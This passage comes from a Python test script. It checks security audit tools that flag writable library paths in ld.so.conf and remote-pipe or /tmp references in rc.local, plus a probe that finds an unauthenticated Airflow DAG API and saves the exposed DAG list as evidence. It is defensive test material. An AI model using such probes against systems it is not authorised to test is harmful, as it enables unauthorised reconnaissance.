lds = json.loads(text(by_id[3]))
lds_kinds = {f["id"] for f in lds["findings"]}
check("ld_so_conf_audit flags a user-writable library path",
{"unsafe-libdir", "world-writable"} <= lds_kinds and
lds["libdirs"] == 2 and lds["unsafe_libdirs"] == 1, lds)
lds_good = json.loads(text(by_id[4]))
check("ld_so_conf_audit accepts a system library path",
lds_good["libdirs"] == 1 and
{f["id"] for f in lds_good["findings"]} == {"no-findings"}, lds_good)
rcl = json.loads(text(by_id[5]))
rcl_kinds = {f["id"] for f in rcl["findings"]}
check("rc_local_audit flags a remote pipe and a tmp reference",
{"remote-pipe", "tmp-reference", "world-writable"} <= rcl_kinds and
rcl["remote_pipes"] == 1 and rcl["tmp_references"] == 1, rcl)
rcl_good = json.loads(text(by_id[6]))
check("rc_local_audit accepts a clean rc.local",
{f["id"] for f in rcl_good["findings"]} == {"no-findings"}, rcl_good)
af = json.loads(text(by_id[7]))
check("airflow_probe finds an open DAG API and saves the list",
af["dags_open"] is True and af["open_count"] == 2 and
os.path.isfile(af["evidence"]), af)
af_auth = json.loads(text(by_id[8]))
check("airflow_probe reports a closed DAG API as not open",
af_auth["dags_open"] is False and af_auth["open_count"] == 0, af_auth)
af_srv.shutdown()
af_auth_srv.shutdown()
for d in (idt_root, idt_good_root, lds_root, lds_good_root, rcl_root,
rcl_good_root, cfg47_home):
shutil.rmtree(d, ignore_errors=True)
print("%d passed, %d failed" % (passes, len(fails)))
if fails:
print("failed: " + ", ".join(fails))